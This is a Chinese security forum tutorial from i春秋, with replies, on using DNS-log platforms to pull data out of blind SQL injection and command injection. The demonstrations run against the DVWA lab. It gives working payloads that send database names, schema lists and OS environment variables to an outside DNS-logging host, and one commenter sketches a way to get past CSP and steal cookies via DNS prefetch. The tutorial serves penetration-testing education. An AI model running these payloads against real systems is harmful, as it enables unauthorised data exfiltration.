用户
搜索

该用户从未签到

i春秋签约作家

Rank: 7Rank: 7Rank: 7

6

主题

31

帖子

330

魔法币
收听
0
粉丝
10
注册时间
2016-12-23

签约作者

发表于 2017-4-21 16:09:54 1517639
本帖最后由 sucppVK 于 2017-4-21 16:15 编辑

一、前言

本文原创作者:sucppVK,本文属i春秋原创奖励计划,未经许可禁止转载!

毕业设计总算搞得差不多了,这个心累啊。
这不,完成了学校的任务,赶紧回来给蛋总交作业。
今天给大家分享一个姿势吧,不是什么新东西,但比较少见——用DNS log来获取回显。

大家在渗透测试的时候可能会遇到一下这些情况:
  • 挖到一个有SQL盲注的站点,可是用sqlmap跑需要频繁请求,最后导致ip被ban
  • 发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞
总之就是目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNS log来获取回显



二、正文


2.1   初探门路

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息


例如我们自己的域名是:vk.org
那么我们把信息放在二级域名处,textxxxxxx.vk.org
想方法发起这个域名解析请求,那么那边就能收到textxxxxxxx这个信息了。


如果没有自己的vps,没有相关条件怎么办?
网上也有不少这样的dnslog平台
这里推荐一个免费的:http://ceye.io
注册之后如图
i春秋2.png
他会给你一个三级域名,你把信息写在第四级域名上就好了
例如我这里直接浏览器访问:ichunqiu_vk.xxxx.ceye.io
i春秋2.png

显示not found,没关系回去doslog平台看看:
11.png
可以看到信息传进来了。



2.2  在SQL注入中的运用
11.png

这里就使用 DVWA做环境了
他里面就有盲注模块,简单来检测注入点,
11.png 57W58PICJC4_1024.png
这里不做解释了,不懂的去看看我以前的sql注入帖子:
https://bbs.ichunqiu.com/thread-18284-1-1.html
可以看到,这里存在注入点,可惜是盲注,无法看到详细信息
盲注的利用方法,大家应该都知道,要么用逻辑法,要么用延时法
总之就是要一个字符一个字符去猜,要发送大量的get请求,


那么这种行为很容易被目标物理防火墙认定位是黑客行为
最终导致IP被ban


如果利用dnsLog来获取信息,既高效又避免这种情况发生
先看看效果:
11.png

11.png
成功获取当前查询的数据库名称。
是不是很方便

深入分析:

我们看看payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,1)--+

首先用and拼接两个条件,
if()函数用法:if((a=b),1,0),判断a=b是否为真,若真,则输出第二个参数(即1),否则输出低三个参数(即0)
而if在这里并不重要。

重点在于 load_file()
放这幅图,你们感受一下
11.png


load_file():
读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。

这个函数也可以用来发送dns解析请求,这就是关键
利用payload是:load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))
concat是字符串拼接
绿色部分就是你要做SQL注入查询的地方
天蓝色就是你的dnslog平台给你的域名
后面的abc可以改也可以不改,无所谓的,你乐意写啥就写啥


怎么利用?
例如你要查看数据库系统有什么数据库则把绿色部分改成:select schema_name from information_schema.schemata limit 0,1
要注意的是数据很可能不止一行,因此要用limit分次输出
如图:
11.png
因为vk之前有做过测试,为了和之前不一样 我加了个-new
57W58PICJC4_1024.png
如图,已经把第一行数据脱出来了,bwapp
接着第二行、第三行只需要修改limit 1,1 limit 2,1即可



这样就能高效的进行盲注
就相当于给盲注带上眼镜




2.3  在命令注入中的运用
发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞

如果是win系统,简单的ping %os%.xxxx.cete.io 即可
11.png
这里也是用dvwa的命令注入做演示
看看dnslog那边:
11.png
得到了os的信息,那么就说明这里存在命令注入


这里给大家一个win的常用变量吧

  • //变量                     类型       描述
  • //%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。
  • //%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。
  • //%CD%                     本地       返回当前目录字符串。
  • //%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。
  • //%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。
  • //%COMPUTERNAME%           系统       返回计算机的名称。
  • //%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。
  • //%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
  • //%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。
  • //%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
  • //%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
  • //%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
  • //%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。
  • //%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。
  • //%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
  • //%PATH%                   系统       指定可执行文件的搜索路径。
  • //%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。
  • //%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
  • //%PROCESSOR_IDENTFIER%    系统       返回处理器说明。
  • //%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。
  • //%PROCESSOR_REVISION%     系统       返回处理器的版本号。
  • //%PROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
  • //%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
  • //%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
  • //%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。
  • //%TEMP%和%TMP%            系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
  • //%TIME%                   系统       返回当前时间。使用与                                                                                   time       /t                                                                     命令相同的格式。由         Cmd.exe                  生成。有关                       time   命令的详细信息,请参阅 Time。
  • //%USERDOMAIN%             本地       返回包含用户帐户的域的名称。
  • //%USERNAME%               本地       返回当前登录的用户的名称。
  • //%USERPROFILE%            本地       返回当前用户的配置文件的位置。
  • //%WINDIR%                 系统       返回操作系统目录的位置。

如果目标系统是linux的话,则可用用shell语言来挑选,那就更加方便了
两幅图 自己感受一下:

11.png
57W58PICJC4_1024.png
第一个是查出该系统用户使用最多的命令,第二个则是使用第二多的命令

i春秋1.png

分别是figlet和ls

三、结束语

学无止境,诚惶诚恐,这个dnslog真能算一个小神器
吐司上也有这样的平台,但不太好使,问了问管理 他说凑活用吧。。。。。





评分

参与人数 1魔法币 +3 收起 理由
mutoulazy + 3 感谢你的分享,i春秋论坛有你更精彩!.

查看全部评分

本帖被以下淘专辑推荐:

yyyxy 管理员 六国战旗移动展示平台! 秦 楚 燕 魏 齐 赵
来自 15#
发表于 4 天前
文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!
奖金
点评
50
小技巧很有趣,下次加油

使用道具 举报 回复
发表于 2017-4-21 17:14:16
这个挺好的,能帮助显示很多信息
使用道具 举报 回复
发表于 2017-4-21 17:25:29
很好的文章,dns解析记录是很有用;借楼分享个tip, 有时候xss被csp拦住了发不出去,完全可以构造payload,利用dns预读取,然后查询dns解析记录查看发送的cookie,当然具体实现不是那么简单,有大佬实验过可行,我这就是提供个思路
使用道具 举报 回复
发表于 2017-4-21 19:30:40
表哥!请问失败了是怎么回事!命令执行那个可以成功,但是sql注入却失败!不管是照你得样子在dvwa下面执行,还是在本地sql命令行执行都是失败!无任何回显。
QQ图片20170421192942.png
使用道具 举报 回复
发表于 2017-4-21 20:54:50
w_uai 发表于 2017-4-21 19:30
表哥!请问失败了是怎么回事!命令执行那个可以成功,但是sql注入却失败!不管是照你得样子在dvwa下面执行 ...

有些特殊字符是没办法发过去的,试试hex()
使用道具 举报 回复
发表于 2017-4-21 20:55:53
xiaoye 发表于 2017-4-21 17:25
很好的文章,dns解析记录是很有用;借楼分享个tip, 有时候xss被csp拦住了发不出去,完全可以构造payload, ...

膜拜
使用道具 举报 回复
发表于 2017-4-21 20:56:44
sucppVK 发表于 2017-4-21 20:54
有些特殊字符是没办法发过去的,试试hex()

表哥找到原因了!开启了!secure file priv这个,但是问题是现在怎么处理掉这个呢?不知道命令!
使用道具 举报 回复
发表于 2017-4-21 21:11:45
w_uai 发表于 2017-4-21 20:56
表哥找到原因了!开启了!secure file priv这个,但是问题是现在怎么处理掉这个呢?不知道命令! ...

用root呗
使用道具 举报 回复
很好的一篇文章
使用道具 举报 回复
使用道具 举报 回复
膜拜大神
使用道具 举报 回复
谢谢分享
使用道具 举报 回复
谢谢分享
使用道具 举报 回复
平台怎么搭建的?好姿势
使用道具 举报 回复
12下一页
发新帖
您需要登录后才可以回帖 登录 | 立即注册